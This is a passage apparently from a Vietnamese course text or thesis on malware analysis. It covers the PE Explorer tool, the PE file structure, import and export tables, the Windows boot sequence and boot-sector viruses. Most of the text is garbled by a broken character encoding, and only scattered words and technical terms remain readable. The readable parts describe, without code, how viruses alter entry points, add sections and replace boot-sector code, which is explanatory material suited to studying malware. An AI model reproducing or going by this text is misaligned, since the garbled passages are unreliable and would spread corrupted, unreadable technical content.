FKӍQK VӱD QӝL GXQJ WURQJ ÿӏQK GҥQJ 3( ILOH QKѭ (;( '// Active X Controls, SCR,CPL, SYS, MSSTYLES, BPL, DPL.. +ӛ WUӧ OjP YLӋF SKkQ WtFK YӟL FiF ILOH Eӏ OӛL WURQJ FKӃ ÿӝ 6DIH0RGH +ӛ WUӧ WtQK QăQJ NLӇP WUD WtQK WRjQ YҽQ FӫD 3( ILOHV +ӛ WUӧ WtQK QăQJ VӱD JLi WUӏ (QWU\ 3RLQW &KӍQK VӱD FiF WKXӝF WtQK FӫD ILOH (;( Yj '// ILOH +ӛ WUӧ JLҧL QpQ 83; 8SDFN 163DFN - ... 51 Hình 2-15 7әQJ TXDQ FKѭѫQJ WUuQK 3H([SORUHU 0ӝW Vӕ WtQK QăQJ TXDQ WUӑQJ QKѭ FiF WK{QJ WLQ YӅ ([SRUW ,PSRUW Yj 'HOD\ ,PSRUW 7DEOH FKR SKpS QJѭӡL SKkQ WtFK Fy WKӇ WKҩ\ WRjQ Eӝ FiF KjP ErQ QJRjL Pj )LOH WKӵF WKL Vӱ GөQJ FiF ILOH '// Pj ILOH JӑL ÿӃQ 0ӝW WtQK QăQJ NKi WLӋQ GөQJ KӳX tFK Oj 6\QWD[ 9LHZHU FKӭF QăQJ Qj\ VӁ KLӇQ WKӏ FiFK WKӭF JӑL FiF KjP WURQJ ILOH 3( 0jQ KuQK FKtQK FKѭѫQJ WUuQK 3( ([SORUHU ([SRUW $QDO\]HU QKѭ VDX FKӭF QăQJ 4XLFN )XQFWLRQ Syntax Look) 52 Hình 2-16 0jQ KuQK KLӇQ WKӏ 3( H[SORUHU 7\ FKӑQ Resource Editor 7\ FKӑQ 5HVRXUFH (GLWRU JL~S QJѭӡL SKkQ WtFK Fy WKӇ QKuQ WKҩ\ WRjQ Eӝ FiF WK{QJ WLQ YӅ ELWPDSV MSHJ Yj FKR SKpS QJѭӡL SKkQ WtFK Fy WKӇ VӱD OҥL WK{QJ WLQ Pj NK{QJ FҫQ SKҧL ELrQ GӏFK OҥL Pm QJXӗQ 53 Hình 2-17 0jQ KuQK KLӇQ WKӏ FKӭF QăQJ 5HVRXUFH 7\ FKӑQ Section Headers Viewer PE Explorer FKR SKpS QJѭӡL SKkQ WtFK Fy WKӇ [HP ÿѭӧF Vӕ OѭӧQJ FiF VHFWLRQV WrQ FiF VHFWLRQV NtFK WKѭӟF Yj FiF WK{QJ WLQ WKXӝF WtQK 1JѭӡL SKkQ WtFK Fy WKӇ WUtFK [XҩW ÿәL WrQ WtQK WRiQ OҥL FKR SK KӧS Fy WKӇ [yD FiF VHFWLRQV ÿL Wӯ WKkQ FKѭѫQJ WUuQK 54 Hình 2-18 0jQ KuQK KLӇQ WKӏ 6HFWLRQ +HDGHUV 9LHZHU 7\ FKӑQ Section Editor 9LӋF NK{L SKөF OҥL JLi WUӏ EDQ ÿҫX FӫD VHFWLRQ JLi WUӏ RIIVHW WURQJ Gӳ OLӋX WKұW WURQJ ILOH NK{QJ SKҧL Oj YLӋF ÿѫQ JLҧQ 7URQJ QKLӅX WUѭӡQJ KӧS YLӋF NK{L SKөF Qj\ FzQ SKө WKXӝF YjR FҧP WtQK Yj SKҧL ÿѭD FiF ÿLӅX NLӋQ JLҧ WKLӃW PӟL Fy WKӇ NK{L SKөF ÿѭӧF 1KѭQJ F{QJ YLӋF Qj\ Fy WKӇ WKӵF KLӋQ Wӵ ÿӝQJ ÿѭӧF QKӡ WtQK QăQJ 6HFWLRQ (GLWRU Qj\ 55 Hình 2-19 : +LӇQ WKӏ THÔng tin Section Editor 7tQK QăQJ Disassembler PE Explorer Disassembler Oj PӝW WLӋQ WtFK ÿѭD ILOH 3( YӅ GҥQJ Pm QJXӗQ $VVHPEO\ 56 Hình 2-20: +LӇQ FKӭF QăQJ 3( ([SORUHU 'LVDVVHPEO\ 7tQK QăQJ Dependency Scanner Dependency Scanner KLӇX WKӏ WRjQ Eӝ FiF ILOH '// Pj ILOH 3( JӑL ÿӃQ NKL WKӵF WKL 57 Hình 2-21 +LӇQ WKӏ tính QăQJ 'HSHQGHQF\ 6FDQQHU 7UrQ ÿk\ Oj PӝW Vӕ WtQK QăQJ Fѫ EҧQ 3( ([SORUHU SKkQ WLӃS WKHR VӁ P{ Wҧ Nӻ ÿӏQK GҥQJ 3( ILOH ĈӏQK QJKƭD 3( PE viӃW WҳW FӫD 3RUWDEOH ([HFXWDEOH Oj PӝW ÿӏQK GҥQJ file cho các file exe, Object code, dll WUrQ KӋ ÿLӅX KjQK :LQGRZV ELW ĈӏQK GҥQJ 3( ILOH Oj PӝW FҩX WU~F Gӳ OLӋX WURQJ ÿy FKӭD FiF WK{QJ WLQ FҫQ WKLӃW ÿӇ ORDGHU FӫD :LQGRZV Fy WKӇ TXҧQ Oê Yj WKӵF WKL ÿѭӧF FiF OӋQK WURQJ ÿy. ĈӏQK GҥQJ Qj\ ÿѭӧF SKiW WULӇQ GӵD WUrQ ÿӏQK GҥQJ 81,; &OFF (Common Object File Format), KLӋQ JLӡ SKҫQ Pӣ UӝQJ FӫD 3( ILOH Fy GҥQJ QKѭ VDX H[H GOO VUF ESO GSO FSO RF[ DFP D[ 58 2.2.2 Cҩu trúc PE file &ҩX WU~F FKXQJ FӫD 3( ILOH WKѭӡQJ VӁ Fy 6HFWLRQV Oj FKR ÿRҥQ Pm FRGH Yj FKR SKҫQ Gӳ OLӋX GDWD 0ӝW FKѭѫQJ WUuQK ӭQJ GөQJ FKҥ\ WUrQ QӅQ WҧQJ :LQGRZV 17 Fy VHFWLRQV ÿѭӧF [iF ÿӏQK WUѭӟF Fy WrQ QKѭ .text, .bss, .rdata, .data, .rsrc, .edata, .idata, .pdata và .debug Hình 2-22: &ҩX WU~F 3( ILOH 2.2.2.1.Dos header 9QJ Qj\ FKLӃP E\WHV ÿҫX WLrQ FӫD ILOH 7URQJ YQJ Qj\ Fy JLi WUӏ TXDQ WUӑQJ Oj HBPDJLF [ D E Yj HBOIDQHZ Oj PӝW ':25' E\WHV JLi WUӏ QҵP WURQJ E\WHV Qj\ FKӭD RIIVHW ÿӃQ 3( ILOH KHDGHU RIIVHW & 2.2.2.2 PE header ĈҫX WLrQ ZLQGRZV ORDGHU VӁ ÿӑF ӣ SKҫQ 0= KHDGHU JLi WUӏ HBPDJLF QKҵP [HP ILOH Fy KӧS OӋ KD\ NK{QJ 7LӃS WKHR ZLQGRZV ORDGHU VӁ ÿӑF JLi WUӏ HBIODQHZ ZLQGRZV ORDGHU VӁ Eӓ TXD OX{Q SKҫQ GRVWXE Yj QKҧ\ ÿӃQ 3( header. 59 3( JӗP WKjQK SKҫQ ÿѭӧF ÿӏQK QJKƭD WURQJ ILOH ZLQGRZV LQF VLJQDWXUH fileheader, optionalheader 6LJQDWXUH Oj PӝW ':25' OX{Q Fy JLi WUӏ [ QKuQ Wӯ JLi WUӏ FӫD e_flanew. )LOHKHDGHU JӗP E\WHV WLӃS WKHR FKӭD WK{QJ WLQ YӅ Vѫ ÿӗ YұW Ot Yj QKӳQJ ÿһF WtQK FӫD ILOH 2SWLRQDO KHDGHU JӗP E\WHV WLӃS WKHR FKӭD QKӳQJ WK{QJ WLQ YӅ Vѫ ÿӗ ORJLF ErQ WURQJ FӫD 3( ILOH File header 1KӳQJ WK{QJ WLQ TXDQ WUӑQJ ErQ WURQJ Oj QXPEHURIVHFWLRQ Yj Characteristics. Numberofsection WKD\ ÿәL SKҫQ Qj\ QӃX QKѭ PXӕQ WKrP KRһF [yD Section trong file PE( các Pm ÿӝF TXDQ WkP ÿӃQ WUѭӡQJ Qj\ Yt Gө QKѭ WăQJ WUѭӡQJ WKrP VDX ÿy FKqQ WKrP WKkQ FӫD Qy YjR WURQJ VHFWLRQ Qy khai báR WKrP QKѭ Yұ\ Pm ÿӝF ÿm FKLӃP ÿѭӧF file). Characteristics EDR JӗP FiF Fӡ [iF ÿӏQK QKӳQJ WKӇ KLӋQ ÿӇ FK~QJ WD OjP YLӋF Oj PӝW ILOH WKӵF WKL H[HFXWDEOH KD\ PӝW ILOH 'OO 7D Fy WKӇ [iF ÿӏQK FiF Yӏ WUt Qj\ EҵQJ FiF F{QJ Fө QKѭ +H[ KRһF 3HLG LRUG3(« Optionalheader &iF WKjQK SKҫQ TXDQ WUӑQJ ErQ WURQJ 2SWLRQDOKHDder AddressofEntryPoint 59$ ÿӏD FKӍ ҧR WѭѫQJ ÿӕL FӫD FkX OӋQK ÿҫX WLrQ Qy WUӓ YjR ÿkX WKu ÿy Oj FkX OӋQK ÿҫX WLrQ FӫD FKѭѫQJ WUuQK ÿѭӧF ORDGHU FӫD KӋ ÿLӅX KjQK 1ӃX PӝW ILOH QJX\rQ WKӇ WKu VӁ WUӓ WӟL ÿLӇP ÿҫX WLrQ FKҥ\ WKұW FӫD FKѭѫQJ WUuQK QҵP WURQJ VHFWLRQ WH[W KD\ FRGH ÿLӇP FKҥ\ Qj\ JӑL Oj 2(3 2ULJLQDO (QWU\3RLQW ĈӕL YӟL ILOH YLUXV TXҧQ Ot Qy VӁ WKrP VHFWLRQ WH[W YjR VDX ÿy FKR WUѭӡQJ WUӓ YjR YLUXV ERG\ Ĉk\ Oj PӝW WURQJ QKӳQJ WUѭӡQJ TXDQ WUӑQJ Yu WUѭӡQJ Qj\ VӁ WKD\ ÿәL KҫX KӃW FiF NLӇX Ok\ nKLӉP YLUXV ÿӇ WUӓ WӟL ÿLӇP WKӵF WKL WKӵF Vӵ FӫD YLUXV FRGH ,PDJH%DVH ÿӏD FKӍ QҥS ÿѭӧF ѭX WLrQ FKR 3( ILOH :LQGRZV ORDGHU VӁ Fӕ JҳQJ iQK [ҥ YjR YQJ QKӟ ҧR Fy ÿӏD FKӍ EҳW ÿҫX WҥL ,PDJHEDVH &kX 60 OӋQK NKӣL ÿҫX WUrQ Eӝ QKӟ ҧR Fy ÿӏD FKӍ 2(3 WUӓ ÿӃQ FkX OӋQK NKӣL ÿҫX LPDJH 6HFWLRQ$OLJPHQW NK{QJ JLDQ FӫD VHFWLRQ WURQJ Eӝ QKӟ ҧR ILOH WKӵF WKL ÿѭӧF iQK [ҥ OrQ Eӝ QKӟ ҧR WKu VӁ EҳW ÿҫX Oj EӝL Vӕ FӫD JLi WUӏ Qj\ WKѭӡQJ QKӓ QKҩW Oj [ )LOH$OLJPHQW ÿӝ UӝQJ FӫD VHFWLRQ WUrQ ILOH VӁ Oj EӝL Vӕ FӫD WUѭӡQJ này( vt Gө )LOH$OLJPHQW Fy JLi WUӏ [ -! VHFWLRQ WLӃS WKHR VӁ EҳW ÿҫX WKu WҥL Yӏ WUt WUѭӟF [ KD\ PӝW WtFK FӫD [ YӟL PӝW Vӕ QJX\rQ 6HFWLRQRI,PDJH EҵQJ VL]H FӫD WҩW Fҧ FiFK KHDGHU GXQJ OѭӧQJ WKұW FӫD FiF VHFWLRQ OLrQ NӃW WURQJ WUѭӡQJ VHFWLRQDOLJPHQW 6L]HRIKHDGHU NtFK WKѭӟF FӫD WҩW Fҧ FiF KHDGHU VHFWLRQWDEOH 'DWD'LUHFWRU\ PӝW PҧQJ ,0$*(B'$7$B',5(&725< PӛL SKҫQ Fy OLrQ TXDQ ÿӃQ FҩX WU~F Gӳ OLӋX WURQJ 3( ILOH QKѭ LPSRUW DGGUHVV table. 7D Fy WKӇ TXDQ ViW FiF WKjQK SKҫQ Qj\ WURQJ 3HLG /RUG3( « Hình 2-23 : 4XDQ ViW Yӏ WUt FiF WKjQK SKҫQ YӟL 3(LG &KLӃP E\WHV FXӕL FQJ WURQJ 2SWLRQDOKHDGHU Yj OҫQ OѭӧW Oj QKӳQJ WKjQK SKҫQ FXӕL FQJ FӫD 3( KHDGHU ,0$*(B17B+($'(56 &ҩX WU~F WURQJ GDWD GLUHFWRU\ JӗP Fy WKjQK SKҫQ Pj EDR JӗP WK{QJ WLQ YӅ Yӏ WUt Yj NtFK WKѭӟF Oj YLUWXDODGGUHVV Yj LVL]H 9LUWXDODGGUHVV Oj PӝW ÿӏD FKӍ ҧR WѭѫQJ ÿӕL FӫD FҩX WU~F Gӳ OLӋX ,VL]H EDR JӗP NtFK WKѭӟF WKHR E\WH FӫD FҩX WU~F Gӳ OLӋX 61 2.2.2.3 Section table /j WKjQK SKҫQ WLӃS WKHR VDX 3( KHDGHU 1y Oj PӝW PҧQJ FӫD QKӳQJ FҩX WU~F ,0$*(B6(&7,21B+($'(5 PӛL SKkQ Wӯ VӁ FKӭD WK{QJ WLQ YӅ PӝW VHFWLRQ WURQJ 3( ILOH Yt Gө QKѭ WKXӝF WtQK FӫD Qy Yj YLUWXDO RIIVHW &iF WKjQK SKҫQ TXDQ WUӑQJ WURQJ VHFWLRQ WDEOH Name WrQ FKӍ PӝW QKmQ KRһF Fy WKӇ WUӕQJ 9LUWXDOVL]H ':25' NtFK WKѭӟF FӫD VHFWLRQ VDX NKL ÿѭӧF QҥS YjR Eӝ QKӟ 9LUWXDODGGUHVV 59$ FӫD VHFWLRQ WUuQK 3( ORDGHU VӁ SKkQ WtFK Yj Vӱ GөQJ JLi WUӏ WURQJ WUѭӡQJ KӧS NKL Qy iQK [ҥ VHFWLRQ WURQJ Eӝ QKӟ SizeofrawdaWD NtFK WKѭӟF FӫD VHFWLRQ WURQJ ILOH WUrQ ÿƭD 3RLQWHUWRUDZGDWD UDZ RIIVHW WKjQK SKҫQ Qj\ Oj RIIVHW Wӯ Yӏ WUt EҳW ÿҫX FӫD ILOH FKR WӟL SKҫQ VHFWLRQ¶V GDWD 1ӃX Fy JLi WUӏ WKu VHFWLRQ¶V GDWD NK{QJ ÿѭӧF FKӭD WURQJ ILOH Yj VӁ NK{QJ Eӏ Ey EXӝF Yj WKӡL JLan load. &KDUDFWHULVWLFV EDR JӗP FiF Fӡ H[HFXWEDOH FRGH LQLWLDOL]HG GDWD uninitialized. Hình 2-24: Các giá trӏ trong bҧng section table 2.2.2.4 PE file section /j QKӳQJ VHFWLRQ FKӭD QӝL GXQJ FKtQK FӫD ILOH EDR JӗP FRGH GDWD UHVRXUFHV Yj QKӳQJ WK{QJ WLQ NKiF FӫD ILOH WKӵF WKL 0ӛL VHFWLRQ Fy PӝW KHDGHU Yj PӝW UDZGDWD Gӳ OLӋX FKѭD ÿѭӧF [ӱ Ot KRһF FKѭD ÿѭӧF ÿӏQK NKX{Q WKӭF Qy FKѭD ÿѭӧF VҳS [ӃS ELrQ WұS VӱD FKӳD KRһF FKѭD ÿѭӧF ELӇX GLӉQ GѭӟL GҥQJ GӉ WuP NLӃP 1KӳQJ VHFWLRQ KHDGHU WKu ÿѭӧF FKӭa trong section table. 0ӝW FKѭѫQJ WUuQK ӭQJ GөQJ ÿһc thù trên Windows: ([HFXWDEOH FRGH VHFWLRQ Oj FiF ÿRҥQ Pm FRGH VHJPHQW WұS WUXQJ YjR PӝW VHFWLRQ ÿѫQ Oҿ WH[W KRһF &RGH 7ӯ NKL ZLGRZV FKX\ӇQ VDQJ Vӱ 62 GөQJ PӝW KӋ WKӕQJ TXҧQ Ot Eӝ QKӟ ҧR WUrQ WUDQJ WKu Fy PӝW VHFWLRQ FRGH OӟQ KѫQ GӉ GjQJ KѫQ WURQJ YLӋF TXҧQ Ot YӟL KӋ WKӕQJ ÿLӅX KjQK 6HFWLRQ Qj\ FǊQg Oj ÿLӇP HQWU\ SRLQW Yj EҧQJ MXPS WKXQN WDEOH WUӓ WӟL ,$7 'DWD VHFWLRQ FKӭD VHFWLRQ UGDWD ELӇX GLӉQ Gӳ OLӋX FKӍ ÿӑF UHDG RQO\ Yt Gө QKѭ FiF FKXӛL KҵQJ WK{QJ WLQ«WҩW Fҧ FiF ELӃQ NKiF QJRjL ELӃQ Wӵ ÿӝQJ Pj FKӍ [XҩW KLӋQ WURQJ VWDFN WKu ÿѭӧF OѭX WUӳ ӣ VHFWLRQ GDWD 5HVRXUFHV VHFWLRQ VHFWLRQ UVUF FKӭD WK{QJ WLQ UHVRXUFH FKR PӝW PRGXOH E\WHV ÿҫX WLrQ JӗP PӝW KHDGHU JLӕQJ QKѭ FiF VHFWLRQ NKiF QKѭQJ Gӳ OLӋX FӫD VHFWLRQ Qj\ ÿѭӧF FҩX WU~F YjR WURQJ Pӝt resource tree Yj ÿѭӧF TXDQ ViW EҵQJ UHVRXUce editor. ([SRUW GDWD VHFWLRQ VHFWLRQ HGDWD FKӭD ([SRUW 'LUHFWRU\ FKR PӝW FKѭѫQJ WUuQK ӭQJ GөQJ KRһF ILOH GOO .KL ELӇX GLӉQ VHFWLRQ Qj\ EDR JӗP FiF WK{QJ WLQ Yj ÿӏDF FKӍ FӫD QKӳQJ KjP H[SRUWHG IXQFWLRQ ,PSRUW GDWD VHFWLRQ LGDWD FKӭD QKӳQJ WK{QJ WLQ NKiF QKDX YӅ KjP ÿѭӧF LPSRUW GLUHFWRU\ Yj EҧQJ LPSRUW DGGUHVV WDEOH 2.2.2.5 Export section 6HFWLRQ Qj\ Fy OLrQ TXDQ ÿӃQ FiF ILOH 'OO &iF KjP Fy WKӇ ÿѭӧF H[SRUW thônJ EӣL 'OO WKHR FiFK ³ E\ QDPH´ KRһF ³ E\ RUGLQDO RQO\´ 9ӏ WUt EҳW ÿҫX WURQJ EҧQJ 'DWD 'LUHFWRU\ ³ VLJQDWXUH ´ &ҩX WU~F H[SRUW ÿѭӧF JӑL Oj ,0$*(B(;3257B',5(&725< ErQ WURQJ FҩX WU~F Qj\ Fy FiF WKjQK SKҫQ TXDQ WUӑQJ VDX 1DPH LQWHUQDO QDPH FӫD PRGule Q%DVH EҳW ÿҫX Oҩ\ Vӕ WKӭ Wӵ KD\ Vӕ FKӍ Vӕ WUѭӡQJ Qj\ ÿѭӧF Vӱ GөQJ ÿӇ Oҩ\ QKӳQJ LQGH[ WURQJ DGGUHVV-of-function array). 1XPEHU2I)XQWLRQ WәQJ Vӕ FiF KjP Pj ÿѭӧF H[SRUW EӣL PRGXOH 1XPEHU2I1DPH Vӕ OѭӧQJ FiF V\PEROV ÿѭӧF H[SRUW EҵQJ QDPH JLi WUӏ này NK{QJ SKҧL Oj Vӕ OѭӧQJ FӫD WҩW Fҧ FiF KjP V\PEROV WURQJ PRGXOH ĈӇ Oҩ\ ÿѭӧF FRQ Vӕ Qj\ WD FҫQ SKҧL NLӇP WUD 1XPEHU2I)XQWFLRQ $GUHVVRI)XQWLRQ PӝW 59$ WUӓ WӟL PҧQJ FӫD FiF FRQ WUӓ WӟL FiF KjP trong module Export Address Table( EAT). $GUHVVRI1DPH PӝW 59$ WUӓ WӟL PҧQJ FӫD FiF 59$ FӫD WrQ KjP ÿѭӧF OѭX WURQJ PRGXOH ([SRUW 1DPH 7DEHO (17 63 $GUHVVRI1DPH2UGLQDOV PӝW 59$ WUӓ WӟL PҧQJ ELW Pj FKӭD FiF RUGLQDOV FӫD FiF QDPHG IXFWLRQ ([SRUW 2ULGLQDO 7DEOH (27 7URQJ FҩX WU~F ,0$*(B(;3257B',5(&725< WUӓ WӟL PҧQg Yj PӝW EҧQJ QKӳQJ FKXӛL Nt Wӵ $6&,, 0ҧQJ TXDQ WUӑQJ Oj ($7 Yu Qy Oj PӝW PҧQJ FӫD FiF FRQ WUӓ KjP Pj FKӭD ÿӏD FKӍ FӫD FiF H[SRUWHG IXQFWLRQ +DL PҧQJ (17 Yj (27 FKҥ\ VRQJ VRQJ WKHR WKӭ Wӵ VҳS [ӃS WăQJ GҫQ GӵD WUrQ WrQ FӫD FiF KjP ÿӇ PӝW SKpS WuP NLӃP QKӏ SKkQ Fy WKӇ ÿѭӧF WKӵF KLӋQ Yj VӁ ÿѭD NӃW TXҧ Oj Vӕ WKӭ Wӵ FӫD KjP ÿy ÿѭӧF WuP WKҩ\ WURQJ PӝW PҧQJ NKiF 6ӕ WKӭ Wӵ FKӍ Oj PӝW FKӍ Vӕ ErQ WURQJ ($7 Hình 2-25 &ҩX WU~F ([SRUW 7DEOH &iF KjP ÿѭӧF H[SRUW EӣL GOO WKHR FiFK Exporting by Ordinal Only: 1XPEHU2I)XQWLRQ SKҧL Fy tW QKҩW Oj EҵQJ YӟL 1XPEHU2I1DPH WX\ QKLrQ PӝW YjL WUѭӡQJ KӧS WKu 1XPEHU2I1DPH OҥL tW KѫQ 1XPEHU2I)XQWLRQ .KL PӝW KjP ÿѭӧF ([SRUW WK{QJ TXD Vӕ WKӭ Wӵ Qy NK{QJ Fy GDQK ViFK WURQJ Fҧ PҧQJ (17 Yj (27 Qy NK{QJ Fy WrQ QKӳQJ KjP Pj NK{QJ Fy WrQ WKu ÿѭӧF H[SRUWHG WK{QJ TXD Vӕ WKӭ Wӵ ([SRUW )RUZDUGLQJ FiF KjP ÿѭӧF H[SRUW NK{QJ SKҧL Oj EӣL GOO EDQ ÿҫX Pj WKӵF WӃ FiF KjP Qj\ OҥL QҵP WURQJ PӝW 'OO NKiF 7URQJ KӋ ÿLӅX KjQK :LQ17 :LQ;3«KjP WURQJ NHUQHO GOO Yj KHDSDOORF ÿѭӧF 64 fowarded Wӯ KjP 5WO$OORF+HDS ÿѭӧF H[SRUWHG EӣL QWGOO GOO )LOH 1WGOO GOO FǊQJ FKӭD FiF $3, WѭѫQJ WiF WUӵF WLӃS YӟL NHUQHO ZLQGRZV )RUZDGLQJ ÿѭӧF WKӵF KLӋQ WҥL WKӡL ÿLӇP OLrQ NӃW WK{QJ TXD PӝW FkX OӋQK ÿһF ELӋW trong .def file. )RUZDUGLQJ Oj Nƭ WKXұW Pj 0LFURVRIW Vӱ GөQJ ÿӇ ÿѭD UD PӝW WұS KӧS $3, WK{QJ GөQJ ÿӇ FKH GҩX Vӵ NKiF ELӋW QӅQ WҧQJ YӟL FiF KӋ ÿLӅX KjQK khác. 2.2.2.6 Import Section 1.RVA 0ӝW ÿӏD FKӍ 59$ ÿѭӧF Vӱ GөQJ ÿӇ P{ Wҧ PӝW RIIVHW WUrQ Eӝ QKӟ QӃX QKѭ NK{QJ ÿѭӧF [iF ÿӏQK ,PDJH%DVH 59$ NK{QJ SKҧL file offset. ĈӇ WtQK ÿѭӧF ILOH RIIVHW ÿҫX WLrQ WD [iF ÿӏQK 59$ ÿy WKXӝF VHFWLRQ QjR EҵQJ F{QJ WKӭF 9LUWXDO RIIVHW YLUWXDO VL]H! 59$! 9LUWXDO RIIVHW File offset= RVA- V.offset+ R.offset 2. Import section ,PSRUW VHFWLRQ LGDWD EDR JӗP WK{QJ WLQ YӅ WҩW Fҧ FiF KjP ÿѭӧF LPSRUWHG EӣL ILOH WKӵF WKL Wӯ FiF ILOH 'OO 3KҫQ TXDQ WURQJ QKҩW FӫD section này là ImportDirectory và ImportAddressTable. ,PSRUW 'LUHFWRU\ Oj P{W PҧQJ FӫD FҩX WU~F ,0$*(B,03257B'(6&5,37,21 0ӛL FҩX WU~F JӗP E\WHV Yj FKӭD WK{QJ WLQ YӅ GOO Pj 3( ILOH FӫD FK~QJ WD LPSRUW FiF KjP YjR &QJ YӟL ([SRUW 'LUHFWRU\ WD Fy WKӇ WuP WKҩ\ ,PSRUW 'LUHFWRU\ Eҵng cách quan sát Data Directory(signature+80). 7URQJ FҩX WU~F ÿy WKjQK SKҫQ 2ULJLQDO)LUVW7KXQN ':25' Oj PӝW 59$ WUӓ WӣL PӝW PҧQJ FiF FҩX WU~F ,0$*(B7+81.B'$7$ ÿk\ Oj FǊQJ Oj 59$ WUӓ WӟL KjP ÿѭӧF LPSRUW PҧQJ Qj\ NK{QJ WKD\ ÿәL ÿk\ Oj PӝW WUѭӡQJ TXDQ WUӑQJ). 9j WKjQK SKҫQ TXDQ WUӑQJ WLӃS WKHR Oj )LUVW7KXQN Oj PӝW PҧQJ 59$ WUӓ WӟL FҩX WU~F FӫD ,0$*(B7+81.B'$7$ PӝW EҧQJ VDR FӫD PҧQJ ÿҫX WLrQ 0ҧQJ Qj\ Eӏ WKD\ ÿәL NKL ORDGHU ORDG 3( ILOH VӁ YLӃW OҥL FiF ÿӏD FKӍ WKұW FӫD FiF IXQFWLRQ ÿѭӧF LPSRUW 7URQJ ILOH WUrQ ÿƭD ,0$*(B7+81.B'$7$ FKӭD Vӕ WKӭ Wӵ FӫD LPSRUWHG IXQFWLRQ KRһF Oj PӝW 59$ WӟL PӝW FҩX WU~F FӫD 65 ,0$*(B,03257B%6<63$57 \boot.ini] %ѭӟF )LOH 17'(7(&7 Wӯ KӋ WKӕQJ SKkQ YQJ SDWLWLRQ VӁ ÿѭӧF ORDG ILOH Qj\ VӁ WuP NLӃP FiF FKѭѫQJ WUuQK %ѭӟF WLӃS WKHR VӁ ORDG ILOH NHUQHO FӫD :LQGRZV Oj 1726.51/ +$/ +DUGZDUH $EVWUDFWLRQ /D\HU Wӯ SKkQ YQJ ERRW 68 [%/systemroot%\system32\ntoskrnl.exe] [%systemroot%\system32\config\system] %ѭӟF 6DX ÿy WLӃS WKHR 6<67(0 +LYH ÿѭӧF WҧL OrQ Yj WRjQ Eӝ FiF WUuQK ÿLӅX NKLӇQ NKӣL ÿӝQJ FǊQJ ÿѭӧF WҧL OrQ [%systemroot%\system32\config\system] %ѭӟF 6DX NKL ERRW ORDGHU 17/2$'(5 FKX\ӇQ ÿLӅX NKLӇQ ÿӃQ .HUQHO (NTOSKRNL) %ѭӟF .HUQHO VӁ WҧL ORJR KLӇQ WKӏ :LQGRZV OrQ Yj NKӣL ÿӝQJ FiF KӋ WKӕQJ QKӓ KѫQ %ѭӟF +Ӌ WKӕQJ VӁ ORDG 6066 6HVVLRQ 0DQDJHU 6XEV\VWHP 6HUYLFH YӟL ÿӝ ѭX WLrQ Oj Yj FKX\ӇQ ÿLӅX NKLӇQ WӟL Qy [%systemroot%\system32\smss.exe] %ѭӟF 6066 NKӣL WҥR SDJHILOH Yj FiF WK{QJ WLQ YӅ UHJLVWU\ KLYHV %ѭӟF .KӣL ÿӝQJ ZLQGRws kernel 32bit là Win32k.sys [%systemroot%\system32\Win32k.sys] %ѭӟF .KӣL WҥR &6566 &OLHQW 6HUYHU 5XQWLPH 6XE V\VWHP YӟL ÿӝ ѭX WLrQ là 13 [%systemroot%\system32\csrss.exe] %ѭӟF 6DX NKL NKӣL ÿӝQJ :,1/2*21 YӟL ÿӝ ѭX WLrQ Oj Yj FKX\ӇQ ÿLӅX NKLӇQ cho winlogon.exe. [%systemroot%\system32\winlogon.exe] %ѭӟF :,1/2*21 VDX ÿy VӁ NKӣL ÿӝQJ /6$66 /RFDO 6HFXULW\ $XWKRUL]DWLRQ 6XEV\VWHP 6HUYLFH YӟL ÿӝ ѭX WLrQ Oj [%systemroot%\system32\lsass.exe] %ѭӟF :,1/2*21 VDX ÿy VӁ WҧL 06*,1$ *UDSKLFDO user Identification D1G $XWKHQWLFDWLRQ FiL Qj\ VӁ KLӇQ WKӏ WӟL QJѭӡL GQJ [%systemroot%\system32\msgina.dll] %ѭӟF 7LӃS WKHR KӋ WKӕQJ VӁ WҧL WLӃS 6(59,&(6 6HUYLFHV &RQWUROOHU YӟL ÿӝQJ ѭX WLrQ Oj [%systemroot%\system32\services.exe] %ѭӟF .KL QJѭӡL GQJ ÿăQJ QKұS YjR 6(59,&(6 JLjQK Oҩ\ TX\ӅQ ÿLӅX NKLӇQ Yj WҧL WRjQ Eӝ FiF GӏFK Yө FҫQ WKLӃW FKR QJѭӡL GQJ 69 6<63$57 & KRһF & GULYHU SKkQ YQJ KӋ WKӕQJ %2273$57 SKkQ YQJ NKӣL ÿӝQJ %systemroot% = BOOTPART:\WINDOWS Default Priority (Windows ) = (Normal) 8 [1-15] 7RjQ Eӝ FiF WLӃQ WUuQK ÿѭӧF NKӣL ÿӝQJ WURQJ TXi WUuQK :LQGRZV NKӣL ÿӝQJ VӁ GR XVHU 6<67(0 OjP FKӫ Vӣ KӳX WLӃQ WUuQK 2.3.1 Quá trình khӣL ÿӝng máy tính 1Kѭ FK~QJ WD ÿm ELӃW VDX TXi WUuQK 3267 VHFWRU ÿҫX WLrQ WUrQ ÿƭD $ KRһF ÿƭD & ÿѭӧc ÿӑc vào vùng nhӟ tҥi 0: 7C00, và quyӅQ ÿLӅu khiӇQ ÿѭӧc trao cho ÿRҥn mã trong sector khӣL ÿӝng này. B-virus hoҥW ÿӝng bҵng cách thay thӃ ÿRҥn mã chuҭn trong sector khӣL ÿӝng này bҵQJ ÿRҥn mã cӫD Qy ÿӇ chiӃm quyӅQ ÿLӅu khiӇQ VDX NKL ÿm FjL ÿһt xong mӟL ÿӑc sector khӣL ÿӝng chuҭn ÿѭӧc virus cҩt giӳ ӣ ÿkX ÿy YjR & Yj WUҧ lҥi quyӅQ ÿLӅu khiӇQ FKR ÿRҥn mã chuҭn này. ViӋc cҩt giӳ sector khӣL ÿӝng tҥi vӏ WUt QjR WUrQ ÿƭD WXǤ thuӝc loҥL ÿƭD Yj FiFK JLҧi quyӃt cӫa tӯng loҥi virus. Ðӕi vӟL ÿƭD FӭQJ WK{QJ WKѭӡng Qy ÿѭӧc cҩt giӳ ӣ ÿkX ÿy WURQJ 6LGH &\OLQGHU Yu WURQJ Fҧ track này, DOS chӍ sӱ dөQJ VHFWRU ÿҫu tiên cho bҧQJ 3DUWLWLRQ 7UrQ ÿƭD PӅm, vӏ trí cҩt giӳ sӁ phӭc tҥS KѫQ Yu Pӑi chӛ ÿӅu có khҧ QăQJ Eӏ JKL ÿq WK{QJ WLQ 0ӝt sӕ Kѭӟng VDX ÿk\ ÿm ÿѭӧc các virus áp dөng: - Sӱ dөng sector ӣ cuӕL 5RRW 'LUHFWRU\ Yu Qy WKѭӡQJ tW ÿѭӧc sӱ dөng. - Sӱ dөng các sector cuӕL FQJ WUrQ ÿƭD Yu NKL SKkQ Eә vùng trӕng cho file, DOS tìm vùng trӕng tӯ nhӓ 